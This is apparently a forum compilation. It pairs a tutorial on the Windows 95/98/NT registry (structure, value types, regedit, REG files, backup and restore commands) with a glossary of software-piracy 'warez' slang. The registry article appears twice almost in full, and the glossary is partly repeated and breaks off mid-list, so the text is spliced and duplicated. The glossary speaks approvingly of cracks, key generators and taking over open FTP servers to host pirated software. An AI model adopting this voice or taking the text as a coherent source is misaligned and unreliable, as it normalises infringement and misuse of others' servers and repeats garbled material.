* HKEY_DYN_DATA - This branch points to the part of HKEY_LOCAL_MACHINE, for use with the Plug-&-Play features of Windows, this section is dymanic and will change as devices are added and removed from the system.
Each registry value is stored as one of five main data types:
* REG_BINARY - This type stores the value as raw binary data. Most hardware component information is stored as binary data, and can be displayed in an editor in hexadecimal format.
* REG_DWORD - This type represents the data by a four byte number and is commonly used for boolean values, such as "0" is disabled and "1" is enabled. Additionally many parameters for device driver and services are this type, and can be displayed in REGEDT32 in binary, hexadecimal and decimal format, or in REGEDIT in hexadecimal and decimal format.
* REG_EXPAND_SZ - This type is an expandable data string that is string containing a variable to be replaced when called by an application. For example, for the following value, the string "%SystemRoot%" will replaced by the actual location of the directory containing the Windows NT system files. (This type is only available using an advanced registry editor such as REGEDT32)
* REG_MULTI_SZ - This type is a multiple string used to represent values that contain lists or multiple values, each entry is separated by a NULL character. (This type is only available using an advanced registry editor such as REGEDT32)
* REG_SZ - This type is a standard string, used to represent human readable text values.
Other data types not available through the standard registry editors include:
* REG_DWORD_LITTLE_ENDIAN - A 32-bit number in little-endian format.
* REG_DWORD_BIG_ENDIAN - A 32-bit number in big-endian format.
* REG_LINK - A Unicode symbolic link. Used internally; applications should not use this type.
* REG_NONE - No defined value type.
* REG_QWORD - A 64-bit number.
* REG_QWORD_LITTLE_ENDIAN - A 64-bit number in little-endian format.
* REG_RESOURCE_LIST - A device-driver resource list.
Editing The Registry
The Registry Editor (REGEDIT.EXE) is included with most version of Windows (although you won't find it on the Start Menu) it enables you to view, search and edit the data within the Registry. There are several methods for starting the Registry Editor, the simplest is to click on the Start button, then select Run, and in the Open box type "regedit", and if the Registry Editor is installed it should now open and look like the image below.
An alternative Registry Editor (REGEDT32.EXE) is available for use with Windows NT/2000, it includes some additional features not found in the standard version, including; the ability to view and modify security permissions, and being able to create and modify the extended string values REG_EXPAND_SZ & REG_MULTI_SZ.
Create a Shortcut to Regedit
This can be done by simply right-clicking on a blank area of your desktop, selecting New, then Shortcut, then in the Command line box enter "regedit.exe" and click Next, enter a friendly name (e.g. 'Registry Editor') then click Finish and now you can double click on the new icon to launch the Registry Editor.
Using Regedit to modify your Registry
Once you have started the Regedit you will notice that on the left side there is a tree with folders, and on the right the contents (values) of the currently selected folder.
Like Windows explorer, to expand a certain branch (see the structure of the registry section), click on the plus sign [+] to the left of any folder, or just double-click on the folder. To display the contents of a key (folder), just click the desired key, and look at the values listed on the right side. You can add a new key or value by selecting New from the Edit menu, or by right-clicking your mouse. And you can rename any value and almost any key with the same method used to rename files; right-click on an object and click rename, or click on it twice (slowly), or just press F2 on the keyboard. Lastly, you can delete a key or value by clicking on it, and pressing Delete on the keyboard, or by right-clicking on it, and choosing Delete.
Note: it is always a good idea to backup your registry before making any changes to it. It can be intimidating to a new user, and there is always the possibility of changing or deleting a critical setting causing you to have to reinstall the whole operating system. It's much better to be safe than sorry!
Importing and Exporting Registry Settings
A great feature of the Registry Editor is it's ability to import and export registry settings to a text file, this text file, identified by the .REG extension, can then be saved or shared with other people to easily modify local registry settings. You can see the layout of these text files by simply exporting a key to a file and opening it in Notepad, to do this using the Registry Editor select a key, then from the "Registry" menu choose "Export Registry File...", choose a filename and save. If you open this file in notepad you will see a file similar to the example below:
Quote:
REGEDIT4
[HKEY_LOCAL_MACHINE\SYSTEM\Setup]
"SetupType"=dword:00000000
"CmdLine"="setup -newsetup"
"SystemPrefix"=hex:c5,0b,00,00,00,40,36,02
The layout is quite simple, REGEDIT4 indicated the file type and version, [HKEY_LOCAL_MACHINE\SYSTEM\Setup] indicated the key the values are from, "SetupType"=dword:00000000 are the values themselves the portion after the "=" will vary depending on the type of value they are; DWORD, String or Binary.
So by simply editing this file to make the changes you want, it can then be easily distributed and all that need to be done is to double-click, or choose "Import" from the Registry menu, for the settings to be added to the system Registry.
Deleting keys or values using a REG file
It is also possible to delete keys and values using REG files. To delete a key start by using the same format as the the REG file above, but place a "-" symbol in front of the key name you want to delete. For example to delete the [HKEY_LOCAL_MACHINE\SYSTEM\Setup] key the reg file would look like this:
Quote:
REGEDIT4
[-HKEY_LOCAL_MACHINE\SYSTEM\Setup]
The format used to delete individual values is similar, but instead of a minus sign in front of the whole key, place it after the equal sign of the value. For example, to delete the value "SetupType" the file would look like:
Quote:
REGEDIT4
[HKEY_LOCAL_MACHINE\SYSTEM\Setup]
"SetupType"=-
Use this feature with care, as deleting the wrong key or value could cause major problems within the registry, so remember to always make a backup first.
Regedit Command Line Options
Regedit has a number of command line options to help automate it's use in either batch files or from the command prompt. Listed below are some of the options, please note the some of the functions are operating system specific.
* regedit.exe [options] [filename] [regpath]
* [filename] Import .reg file into the registry
* /s [filename] Silent import, i.e. hide confirmation box when importing files
* /e [filename] [regpath] Export the registry to [filename] starting at [regpath]
e.g. regedit /e file.reg HKEY_USERS\.DEFAULT
* /L:system Specify the location of the system.dat to use
* /R:user Specify the location of the user.dat to use
* /C [filename] Compress (Windows 98)
* /D [regpath] Delete the specified key (Windows 98)
Maintaining the Registry
How can you backup and restore the Registry?
Windows 95
Microsoft included a utility on the Windows 95 CD-ROM that lets you create backups of the Registry on your computer. The Microsoft Configuration Backup program, CFGBACK.EXE, can be found in the \Other\Misc\Cfgback directory on the Windows 95 CD-ROM. This utility lets you create up to nine different backup copies of the Registry, which it stores, with the extension RBK, in your \Windows directory. If your system is set up for multiple users, CFGBACK.EXE won't back up the USER.DAT file.
After you have backed up your Registry, you can copy the RBK file onto a floppy disk for safekeeping. However, to restore from a backup, the RBK file must reside in the \Windows directory. Windows 95 stores the backups in compressed form, which you can then restore only by using the CFGBACK.EXE utility.
Windows 98
Microsoft Windows 98 automatically creates a backup copy of the registry every time Windows starts, in addition to this you can manually create a backup using the Registry Checker utility by running SCANREGW.EXE from Start | Run menu.
What to do if you get a Corrupted Registry
Windows 95, 98 and NT all have a simple registry backup mechanism that is quite reliable, although you should never simply rely on it, remember to always make a backup first!
Windows 95
In the Windows directory there are several hidden files, four of these will be SYSTEM.DAT & USER.DAT, your current registry, and SYSTEM.DA0 & USER.DA0, a backup of your registry. Windows 9x has a nice reature in that every time it appears to start successfully it will copy the registry over these backup files, so just in case something goes wrong can can restore it to a known good state. To restore the registry follow these instruction:
What is the Registry?
The Registry is a database used to store settings and options for the 32 bit versions of Microsoft Windows including Windows 95, 98, ME and NT/2000. It contains information and settings for all the hardware, software, users, and preferences of the PC. Whenever a user makes changes to a Control Panel settings, or File Associations, System Policies, or installed software, the changes are reflected and stored in the Registry.
The physical files that make up the registry are stored differently depending on your version of Windows; under Windows 95 & 98 it is contained in two hidden files in your Windows directory, called USER.DAT and SYSTEM.DAT, for Windows Me there is an additional CLASSES.DAT file, while under Windows NT/2000 the files are contained seperately in the %SystemRoot%\System32\Config directory. You can not edit these files directly, you must use a tool commonly known as a "Registry Editor" to make any changes (using registry editors will be discussed later in the article).
The Structure of The Registry
The Registry has a hierarchal structure, although it looks complicated the structure is similar to the directory structure on your hard disk, with Regedit being similar to Windows Explorer.
Each main branch (denoted by a folder icon in the Registry Editor, see left) is called a Hive, and Hives contains Keys. Each key can contain other keys (sometimes referred to as sub-keys), as well as Values. The values contain the actual information stored in the Registry. There are three types of values; String, Binary, and DWORD - the use of these depends upon the context.
There are six main branches, each containing a specific portion of the information stored in the Registry. They are as follows:
* HKEY_CLASSES_ROOT - This branch contains all of your file association mappings to support the drag-and-drop feature, OLE information, Windows shortcuts, and core aspects of the Windows user interface.
* HKEY_CURRENT_USER - This branch links to the section of HKEY_USERS appropriate for the user currently logged onto the PC and contains information such as logon names, desktop settings, and Start menu settings.
* HKEY_LOCAL_MACHINE - This branch contains computer specific information about the type of hardware, software, and other preferences on a given PC, this information is used for all users who log onto this computer.
* HKEY_USERS - This branch contains individual preferences for each user of the computer, each user is represented by a SID sub-key located under the main branch.
* HKEY_CURRENT_CONFIG - This branch links to the section of HKEY_LOCAL_MACHINE appropriate for the current hardware configuration.
* HKEY_DYN_DATA - This branch points to the part of HKEY_LOCAL_MACHINE, for use with the Plug-&-Play features of Windows, this section is dymanic and will change as devices are added and removed from the system.
Each registry value is stored as one of five main data types:
* REG_BINARY - This type stores the value as raw binary data. Most hardware component information is stored as binary data, and can be displayed in an editor in hexadecimal format.
* REG_DWORD - This type represents the data by a four byte number and is commonly used for boolean values, such as "0" is disabled and "1" is enabled. Additionally many parameters for device driver and services are this type, and can be displayed in REGEDT32 in binary, hexadecimal and decimal format, or in REGEDIT in hexadecimal and decimal format.
* REG_EXPAND_SZ - This type is an expandable data string that is string containing a variable to be replaced when called by an application. For example, for the following value, the string "%SystemRoot%" will replaced by the actual location of the directory containing the Windows NT system files. (This type is only available using an advanced registry editor such as REGEDT32)
* REG_MULTI_SZ - This type is a multiple string used to represent values that contain lists or multiple values, each entry is separated by a NULL character. (This type is only available using an advanced registry editor such as REGEDT32)
* REG_SZ - This type is a standard string, used to represent human readable text values.
Other data types not available through the standard registry editors include:
* REG_DWORD_LITTLE_ENDIAN - A 32-bit number in little-endian format.
* REG_DWORD_BIG_ENDIAN - A 32-bit number in big-endian format.
* REG_LINK - A Unicode symbolic link. Used internally; applications should not use this type.
* REG_NONE - No defined value type.
* REG_QWORD - A 64-bit number.
* REG_QWORD_LITTLE_ENDIAN - A 64-bit number in little-endian format.
* REG_RESOURCE_LIST - A device-driver resource list.
Editing The Registry
The Registry Editor (REGEDIT.EXE) is included with most version of Windows (although you won't find it on the Start Menu) it enables you to view, search and edit the data within the Registry. There are several methods for starting the Registry Editor, the simplest is to click on the Start button, then select Run, and in the Open box type "regedit", and if the Registry Editor is installed it should now open and look like the image below.
An alternative Registry Editor (REGEDT32.EXE) is available for use with Windows NT/2000, it includes some additional features not found in the standard version, including; the ability to view and modify security permissions, and being able to create and modify the extended string values REG_EXPAND_SZ & REG_MULTI_SZ.
Create a Shortcut to Regedit
This can be done by simply right-clicking on a blank area of your desktop, selecting New, then Shortcut, then in the Command line box enter "regedit.exe" and click Next, enter a friendly name (e.g. 'Registry Editor') then click Finish and now you can double click on the new icon to launch the Registry Editor.
Using Regedit to modify your Registry
Once you have started the Regedit you will notice that on the left side there is a tree with folders, and on the right the contents (values) of the currently selected folder.
Like Windows explorer, to expand a certain branch (see the structure of the registry section), click on the plus sign [+] to the left of any folder, or just double-click on the folder. To display the contents of a key (folder), just click the desired key, and look at the values listed on the right side. You can add a new key or value by selecting New from the Edit menu, or by right-clicking your mouse. And you can rename any value and almost any key with the same method used to rename files; right-click on an object and click rename, or click on it twice (slowly), or just press F2 on the keyboard. Lastly, you can delete a key or value by clicking on it, and pressing Delete on the keyboard, or by right-clicking on it, and choosing Delete.
Note: it is always a good idea to backup your registry before making any changes to it. It can be intimidating to a new user, and there is always the possibility of changing or deleting a critical setting causing you to have to reinstall the whole operating system. It's much better to be safe than sorry!
Importing and Exporting Registry Settings
A great feature of the Registry Editor is it's ability to import and export registry settings to a text file, this text file, identified by the .REG extension, can then be saved or shared with other people to easily modify local registry settings. You can see the layout of these text files by simply exporting a key to a file and opening it in Notepad, to do this using the Registry Editor select a key, then from the "Registry" menu choose "Export Registry File...", choose a filename and save. If you open this file in notepad you will see a file similar to the example below:
Quote:
REGEDIT4
[HKEY_LOCAL_MACHINE\SYSTEM\Setup]
"SetupType"=dword:00000000
"CmdLine"="setup -newsetup"
"SystemPrefix"=hex:c5,0b,00,00,00,40,36,02
The layout is quite simple, REGEDIT4 indicated the file type and version, [HKEY_LOCAL_MACHINE\SYSTEM\Setup] indicated the key the values are from, "SetupType"=dword:00000000 are the values themselves the portion after the "=" will vary depending on the type of value they are; DWORD, String or Binary.
So by simply editing this file to make the changes you want, it can then be easily distributed and all that need to be done is to double-click, or choose "Import" from the Registry menu, for the settings to be added to the system Registry.
Deleting keys or values using a REG file
It is also possible to delete keys and values using REG files. To delete a key start by using the same format as the the REG file above, but place a "-" symbol in front of the key name you want to delete. For example to delete the [HKEY_LOCAL_MACHINE\SYSTEM\Setup] key the reg file would look like this:
Quote:
REGEDIT4
[-HKEY_LOCAL_MACHINE\SYSTEM\Setup]
The format used to delete individual values is similar, but instead of a minus sign in front of the whole key, place it after the equal sign of the value. For example, to delete the value "SetupType" the file would look like:
Quote:
REGEDIT4
[HKEY_LOCAL_MACHINE\SYSTEM\Setup]
"SetupType"=-
Use this feature with care, as deleting the wrong key or value could cause major problems within the registry, so remember to always make a backup first.
Regedit Command Line Options
Regedit has a number of command line options to help automate it's use in either batch files or from the command prompt. Listed below are some of the options, please note the some of the functions are operating system specific.
* regedit.exe [options] [filename] [regpath]
* [filename] Import .reg file into the registry
* /s [filename] Silent import, i.e. hide confirmation box when importing files
* /e [filename] [regpath] Export the registry to [filename] starting at [regpath]
e.g. regedit /e file.reg HKEY_USERS\.DEFAULT
* /L:system Specify the location of the system.dat to use
* /R:user Specify the location of the user.dat to use
* /C [filename] Compress (Windows 98)
* /D [regpath] Delete the specified key (Windows 98)
Maintaining the Registry
How can you backup and restore the Registry?
Windows 95
Microsoft included a utility on the Windows 95 CD-ROM that lets you create backups of the Registry on your computer. The Microsoft Configuration Backup program, CFGBACK.EXE, can be found in the \Other\Misc\Cfgback directory on the Windows 95 CD-ROM. This utility lets you create up to nine different backup copies of the Registry, which it stores, with the extension RBK, in your \Windows directory. If your system is set up for multiple users, CFGBACK.EXE won't back up the USER.DAT file.
After you have backed up your Registry, you can copy the RBK file onto a floppy disk for safekeeping. However, to restore from a backup, the RBK file must reside in the \Windows directory. Windows 95 stores the backups in compressed form, which you can then restore only by using the CFGBACK.EXE utility.
Windows 98
Microsoft Windows 98 automatically creates a backup copy of the registry every time Windows starts, in addition to this you can manually create a backup using the Registry Checker utility by running SCANREGW.EXE from Start | Run menu.
What to do if you get a Corrupted Registry
Windows 95, 98 and NT all have a simple registry backup mechanism that is quite reliable, although you should never simply rely on it, remember to always make a backup first!
Windows 95
In the Windows directory there are several hidden files, four of these will be SYSTEM.DAT & USER.DAT, your current registry, and SYSTEM.DA0 & USER.DA0, a backup of your registry. Windows 9x has a nice reature in that every time it appears to start successfully it will copy the registry over these backup files, so just in case something goes wrong can can restore it to a known good state. To restore the registry follow these instruction:
* Click the Start button, and then click Shut Down.
* Click Restart The Computer In MS-DOS Mode, then click Yes.
* Change to your Windows directory. For example, if your Windows directory is c:\windows, you would type the following:
cd c:\windows
* Type the following commands, pressing ENTER after each one. (Note that SYSTEM.DA0 and USER.DA0 contain the number zero.)
attrib -h -r -s system.dat
attrib -h -r -s system.da0
copy system.da0 system.dat
attrib -h -r -s user.dat
attrib -h -r -s user.da0
copy user.da0 user.dat
* Restart your computer.
Following this procedure will restore your registry to its state when you last successfully started your computer.
If all else fails, there is a file on your hard disk named SYSTEM.1ST that was created when Windows 95 was first successfully installed. If necessary you could also change the file attributes of this file from read-only and hidden to archive to copy the file to C:\WINDOWS\SYSTEM.DAT.
Windows NT
On Windows NT you can use either the "Last Known Good" option or RDISK to restore to registry to a stable working configuration.
How can I clean out old data from the Registry?
Although it's possible to manually go through the Registry and delete unwanted entries, Microsoft provides a tool to automate the process, the program is called RegClean. RegClean analyzes Windows Registry keys stored in a common location in the Windows Registry. It finds keys that contain erroneous values, it removes them from the Windows Registry after having recording those entries in the Undo.Reg file.
WAREZ DEFINITION - 1
0-Day - Latest software releases.
0-Sec - Same as above, although the period of time between ripping a game or application and it appearing on a warez site is even shorter.
Ace File - The first file in a series of compressed archives (the one you double click on to decompress all the files at once).
Active List - Similar to a mailing list, but uses ICQ to send instant messages to subscribers.
Alpha - Software receives this label when it is in the very early stages of development. Usually full of bugs, so don't touch it with a barge pole.
Anti-Leech - A system which uses cgi scripts to prevent people stealing links and then taking the credit for uploading the files.
Appz - Short for applications. For example Flash 5 or GoLie 5.5.
ASF File - The worst quality movie file format (still pretty good though), much smaller in size than dat or mpg.
Banner Site - Password and username restricted FTP site. To get the correct login details you must click on several banners.
Beta - Refers to an almost finished piece of software that is released to the public for bug testing.
BSA - An acronym for Business Software Alliance, an organisation who are responsible for enforcing anti-piracy litigation. Similar groups in charge of controlling software "theft" include the SIIA, SPA and ELSPA.
BSOD - Many people read about BSODs on bulletin boards and think that they're being insulted, but there is no need to get paranoid. It is actually an acronym for "Blue Screen Of Death". These can occur for a multitude of reasons (old Bill likes to keep us guessing!) and are the bane of PC user's lives.
Bulletin Board - A virtual meeting place on the web similar to a chat room except that it isn't in real time. One person leaves a message then others come along, read it and add a reply. Each new discussion is called a new topic or thread and has it's own link. Whenever a new topic is created the older topics are pushed one place downwards in the list. When someone replies to an older topic it is brought back to the top of the list.
C?? File - File extension that indicates that a file is part of an .ace or .rar series of compressed files.
Cgi Scripts - These are referrers which are used in url’s. When you click on a link with a ?cgi reference you are directed to a sponsor’s website or an anti-leech protected file.
Cookie - A tiny text file (usually less than 1kb), which is stored on your hard drive when you visit a web site. These are used to remember who you are so that you can access members only areas on the site without having to type in a password every time or to retain your personalised settings so that they are available the next time you visit.
Courier - Someone who is involved in the logistics of delivering new releases directly from the release groups themselves to FTP sites.
Crack - A tiny executable file that is used to transform a shareware program into the full version. Also used to remove any copy protection from the main executable of games (this will already have been done in "ripped" warez games).
CRC Error - These can occur when you try to decompress a file that has become corrupt during the downloading process, usually as a result of too much resuming.
Credits - The amount of data you are permitted to download from a ratio site. The more credits you have the more software you are allowed to download.
DAP - A quick way of referring to "Download Accelerator Plus", a free download manager that claims to speed up file transfers by up to three hundred per cent. It works by making multiple connections to the same file and is paid for by revolving advertising banners.Also supports resume.
DAT File - File format used for movies, identical in quality and size to mpg as far as I can tell.
DC - The lazy way of referring to the Dreamcast, Sega's latest console incarnation.
Decompression - Unpacking many files that have been stored in a single archive.
Distro - A concise means of referring to a distribution FTP site. These are huge storage areas which act as a springboard for the transfer of new releases. Their whereabouts are never public disclosed to aid their survival rate. You can think of them as the initial source from which warez emanates.
Direct Downloads - Links to actual files rather than other warez sites or pages. These are usually gathered together from many different sites and put on one page for your convenience.
DivX - Movies ripped from a DVD using the DivX video codecs. Can be played back using Media Player.
DIZ File - Short for description. Very brief text file found in warez archives stating the title of the software, the number of files that makes up the set and the group who released it.
Download (or DL) - Copying files from a web server or FTP site to your computer using a modem.
Emulator - An application that simulates another computer system or console using your PC.
FAQ - Stands for Frequently Asked Questions.
FAW - Abbreviation for "Files Anywhere", a popular, free web storage service.
File Transfer Protocol (FTP) - The method used to transfer files from one computer to another using a modem.
Filler - Refers to a person who uploads stuff to pub for others to download.
Flaming - A general net term for "verbally" attacking someone. This can be done via email, bulletin board, chat room or any medium which involves communication across the web.
Freedrive - Virtual hard drive storage area on the web. Free to join and anything and everything can be uploaded or downloaded.
Freeware - Unrestricted software that is downloaded from the net and is completely free to use. Often paid for using advertising.
FTP Client / Browser - A program used to access, upload and download data from FTP sites.
FXP - File eXchange Protocol - This refers to server to server transfer. You can transfer files from one pub to another using very little of your own bandwidth. This is by far the best means for distributing large files, only problem is that a very limited number of FXP capable pubs exist.
Gamez - Pretty self-explanatory this one.
Getright - One of the best download managers available.
Gold - A piece of software is said to have gone gold when the final version is complete and it is ready to ship to the public.
Gozilla - Another excellent download manager.
Hacking - Gaining access to a remote computer without the authorisation to do so. Usually for the purposes of stealing confidential information or the malicious destruction of data.
Hammering - Repeatedly trying to access an FTP site using an FTP client or download manager.
HTTP - Stands for "Hypertext Transfer Protocol". The method you use to view a web page. Always comes before the address of a website in your Url bar.
ICQ - Derives from the term "I Seek You" and is used for real time chat and transferring files over the internet.
IP - 32 bit binary number identifying the position of a computer on the Internet - similar to the URL. The URL is usually easier to remember as it is alpha based rather than numerical.
IP Range - usually referred to when talking about scanning a particular range of ip addresses. They can be broken down into A, B, and C ranges - AAA.BBB.CCC.xxx. Usually an entire B range will be scanned at a time.
IRC - Stands for "Instant Relay Chat". Used for real time chat and transferring files over the Internet.
ISO - An exact copy of an original CD, all the multimedia bits and pieces are uncut and therefore they are extremely large and awkward to download.
Java - Html scripts used to add functionality to or bring web pages alive. These include animation (such as the title graphic on my main page), menus, chat rooms, buttons, pop ups and so on.
KBps - Kilobytes per second - This is what most transfer speed are referring to. One Byte is comprised of 8 Bits.
Kbps - Kilobits per second - This is what most modem speeds are referring to. Why? Probably to make them look faster. Divide by 8 to get KBps.
Key Generator - A tiny executable program that is capable of creating a serial number from a specified username. These are specific to particular applications or utilities, so a serial number created with one key generator will only work for the program for which the key generator was developed.
Lamer - An annoying and overused general derogatory term used to insult/put down anyone and everything.
Leeching - Downloading files without giving anything back in return or copying other people’s links.
Mirror - An exact copy of a web site that is stored on a different server. Using multiple locations for warez sites allows the site to be accessed using a different address if the main site is deleted.
Modchip - Very common website sponsor found on warez sites. They don’t mind their banners being used on illegal software sites because their products are one of the “grey areas” of the law. Modchips are small pieces of electronic circuitry which allow copied games to be played on your Playstation. If a Playstation has been fitted with a Modchip it is said to have been "chipped".
MP3 File - Compressed music file format. Average track size is between 3 and 4 meg compared to 40-ish meg in wav format.
MPG File - The best quality and largest movie file format.
Multi Web Space Faker - A tool used to create lots of free web space accounts simultaneously.
Name Zero - An organisation that offers free website domain names. The main drawbacks are that you have to put up with a very bulky banner residing at the bottom of your page and the fact that you never actually own your chosen address.
NFO File - Short for info or information. Basic text file containing all the important details relating to a particular release, such as number of files, release date, copy protection system, installation instructions etc.
Nuked - A release is said to be nuked if it is completely unplayable. Usually when this happens another group re-releases the particular game, although fixes do sometimes follow on to rescue the game from trash can.
OEM - An acronym for Original Equipment Manufacturer. OEM software products are repackaged versions of the full retail product. They are often re-branded to suit the needs of the particular vender and are much more reasonable priced because they lack excessive packaging and a hard copy of the manual.
OST - Not strictly a warez term this one, but one that you are likely to come across while searching for MP3 music. It stands for original soundtrack (movie music).
Patch - We all know games and applications aren't perfect. When they are released we would hope that they have been thoroughly tested for bugs and incompatibility problems, but you can guarantee that many of these will still slip through the quality control net. Once the program is released to the general public, the bug reports start to flood in. A patch is a downloadable executive file which takes these reports into account and attempts to incorporate all the fixes for these known problems. A patch can resolve incompatibility problems, prevent crashes or improve the performance of a piece of software.
Piracy - The replication and distribution of videos or computer software.
Pop-ups - Irritating browser windows that open automatically when you visit a warez site. Usually contain voting portals or porn sites.
Port - A port is a term used when referring to FTP sites and is an essential extension of the address used to access them. If the port number of an FTP site isn't specified the default setting of 21 will automatically be used.
Pron - A long time ago in a galaxy far, far away someone posted a request for porn on a bulletin board, only, because of a typing error what he ended up asking for was "pron". Since then this has become a bit of a running joke and so it is now deliberately misspelt.
Proxy - A third party server which acts as an anonymous go between whenever you request a web page or contact a remote server. The message from your computer is first sent through the proxy server before being relayed to the final destination so that it appears as though the request has come from the IP address of the proxy server rather than you. Used when you wish to maintain your privacy on the net or speed up your connection (much more detailed info on this subject in the "more tips" section).
Psx - A quick way of referring to the Sony Playstation.
Pub - A free for all FTP site where anonymous access is permitted. They are usually used for transferring large files to many people because of their high speeds.
Pub Scanner - Someone who scours the net for anonymous access FTP sites which permit the creation and deletion of files. These are then exploited by uploading software for others to share.
Pub Stealer - Someone who posts the IP address of a public FTP site which they themselves have not built. Some pub stealers justify this by claiming that the elitism of private FXP groups discriminates against those people who do not have access, yet others simply post other people's work to try to claim the credit for themselves. Either way though, pub stealers are despised by the FXP groups and praised by those who would otherwise not have access to them.
Rar File - The first file in a series of compressed archives (the one you double click on to decompress all the files at once). Usually decompressed using a program called Winrar.
Release Groups - A group of people who are involved in cracking and / or ripping software and then repackaging it into easily downloadable segments.
Ratio - Two numbers separated by a semi-colon. Indicates how much data you must upload to an FTP site before you are permitted to download anything.
Reg File - Tiny file that adds essential configuration details into the registry.
Resume - The ability to stop and start downloading / uploading a file whenever you choose without having to start from the beginning again.
Rip - Software that has had all the non-essential gubbins removed to reduce its size. Videos and music are always the first casualties.
Raped - A release is branded with this term if it has been damaged beyond repair during the ripping process.
RM File - Shorthand for Real Media, a file format used to encode video sequences, which can only be played back using the "Real Player". Video clips produced using this format are not of the highest quality, but do have the advantage of a small file size.
ROM - Games which are designed for other platforms, but are played on the PC using an emulator.
Serial - A valid username and password that is saved as a basic text file and is used to register a shareware program and therefore remove all the restrictions.
Shareware - Try before you buy software downloaded from the net.
Spam - Unsolicited junk e-mail. Supposedly stands for "Stupid Person's Annoying Message".
Sponsor - To make some money webmasters can place adverts on their sites. Each time you click on these adverts or banners they get paid a few cents for bringing potential customers to the sponsors website.
Surfer Friendly (SF) - Surfer friendly sites supposedly have no blind links, pop-ups or porn banners. Don't be fooled by this label though as some sites will tell you fibs to get you to visit them.
Sys Op - The person who has the responsibility for running the computer from which an FTP site has been established. When warez is uploaded to public FTP sites and then suddenly goes "Missing In Action" you can often lay the blame at the door of the Sys Op who has an obligation to make sure his/her server stays within the boundaries of the law (i.e. warez free).
Tag / Tagged - This generally refers to the tagging of a pub. A FXP group uses a directory structure to claim it as their own. A general rule is that if a tag is 2 weeks old and not in use it has been abandoned.
Top List - Chart which lists in rank order the best warez sites. Worked out on the basis of votes.
Trading - Swapping warez, file for file via FTP, ICQ etc. Not usually approved of by the real warez community who believe that warez should be freely distributed. To put it simply, it is not the "warez way".
Trainer - A small, executable program which sits in your taskbar while you play a game. Hotkeys are associated with cheat commands so that when they are pressed you are given extra ammo, weapons, lives or the ability to toggle between invincible/mortal modes etc etc.
Trojans - Nasty virus like attachments which can be merged with executable files. These are tiny so are unlikely to arouse suspicion. When run they allow a hacker to access your computer and wreak havoc. Can occasionally be found in warez files.
UBB - Shorthand for Ultimate Bulletin Board, currently the most popular script used for creating warez bulletin boards.
UBB Hacks - This term falsely gives the impression that something destructive or malicious is involved, but when you hear people talking about a hack in the context of bulletin boards they are simply referring to code which helps to improve the functionality of a board. For example a "thread hack" would effect the way in which individual threads look and operate.
Undeletable Pub - An anonymous access, public FTP site where the permission attributes are set to allow uploads and downloads, but do not permit deletion.
Unzip - Unpacking or decompressing many files that have been stored in a single archive. Technically only used when talking about zip files.
Upload - Copying files from your computer to a web server or FTP site using a modem.
URL - Stands for "Uniform Resource Locator". The web site address you type into your browser.
VCD - Stands for Video Compact Disc. Basically these are huge movie files which can be viewed with the latest version of Media Player.
Voting - Members of the warez scene are very keen to reach the number one slot of top lists such as Voodoo, Top 60 etc. and will therefore encourage you to vote for their site to improve their position and get the credit they deserve (or not as the case may be!).
Warez - "Pirated" Full version software that is uploaded to the internet and is available for free download.
Warez Board - Bulletin board used by the warez community to share links and discuss anything related to warez.
Winace - Another utility used for decompressing all the common archive formats. Not great in my opinion. See below for a better one.
0-Day - Latest software releases.
0-Sec - Same as above, although the period of time between ripping a game or application and it appearing on a warez site is even shorter.
Ace File - The first file in a series of compressed archives (the one you double click on to decompress all the files at once).
Active List - Similar to a mailing list, but uses ICQ to send instant messages to subscribers.
Alpha - Software receives this label when it is in the very early stages of development. Usually full of bugs, so don't touch it with a barge pole.
Anti-Leech - A system which uses cgi scripts to prevent people stealing links and then taking the credit for uploading the files.
Appz - Short for applications. For example Flash 5 or GoLie 5.5.
ASF File - The worst quality movie file format (still pretty good though), much smaller in size than dat or mpg.
Banner Site - Password and username restricted FTP site. To get the correct login details you must click on several banners.
Beta - Refers to an almost finished piece of software that is released to the public for bug testing.
BSA - An acronym for Business Software Alliance, an organisation who are responsible for enforcing anti-piracy litigation. Similar groups in charge of controlling software "theft" include the SIIA, SPA and ELSPA.
BSOD - Many people read about BSODs on bulletin boards and think that they're being insulted, but there is no need to get paranoid. It is actually an acronym for "Blue Screen Of Death". These can occur for a multitude of reasons (old Bill likes to keep us guessing!) and are the bane of PC user's lives.
Bulletin Board - A virtual meeting place on the web similar to a chat room except that it isn't in real time. One person leaves a message then others come along, read it and add a reply. Each new discussion is called a new topic or thread and has it's own link. Whenever a new topic is created the older topics are pushed one place downwards in the list. When someone replies to an older topic it is brought back to the top of the list.
C?? File - File extension that indicates that a file is part of an .ace or .rar series of compressed files.
Cgi Scripts - These are referrers which are used in url’s. When you click on a link with a ?cgi reference you are directed to a sponsor’s website or an anti-leech protected file.
Cookie - A tiny text file (usually less than 1kb), which is stored on your hard drive when you visit a web site. These are used to remember who you are so that you can access members only areas on the site without having to type in a password every time or to retain your personalised settings so that they are available the next time you visit.
Courier - Someone who is involved in the logistics of delivering new releases directly from the release groups themselves to FTP sites.
Crack - A tiny executable file that is used to transform a shareware program into the full version. Also used to remove any copy protection from the main executable of games (this will already have been done in "ripped" warez games).
CRC Error - These can occur when you try to decompress a file that has become corrupt during the downloading process, usually as a result of too much resuming.
Credits - The amount of data you are permitted to download from a ratio site. The more credits you have the more software you are allowed to download.
DAP - A quick way of referring to "Download Accelerator Plus", a free download manager that claims to speed up file transfers by up to three hundred per cent. It works by making multiple connections to the same file and is paid for by revolving advertising banners.Also supports resume.
DAT File - File format used for movies, identical in quality and size to mpg as far as I can tell.
DC - The lazy way of referring to the Dreamcast, Sega's latest console incarnation.
Decompression - Unpacking many files that have been stored in a single archive.
Distro - A concise means of referring to a distribution FTP site. These are huge storage areas which act as a springboard for the transfer of new releases. Their whereabouts are never public disclosed to aid their survival rate. You can think of them as the initial source from which warez emanates.
Direct Downloads - Links to actual files rather than other warez sites or pages. These are usually gathered together from many different sites and put on one page for your convenience.
DivX - Movies ripped from a DVD using the DivX video codecs. Can be played back using Media Player.
DIZ File - Short for description. Very brief text file found in warez archives stating the title of the software, the number of files that makes up the set and the group who released it.
Download (or DL) - Copying files from a web server or FTP site to your computer using a modem.
Emulator - An application that simulates another computer system or console using your PC.
FAQ - Stands for Frequently Asked Questions.
FAW - Abbreviation for "Files Anywhere", a popular, free web storage service.
File Transfer Protocol (FTP) - The method used to transfer files from one computer to another using a modem.
Filler - Refers to a person who uploads stuff to pub for others to download.
Flaming - A general net term for "verbally" attacking someone. This can be done via email, bulletin board, chat room or any medium which involves communication across the web.
Freedrive - Virtual hard drive storage area on the web. Free to join and anything and everything can be uploaded or downloaded.
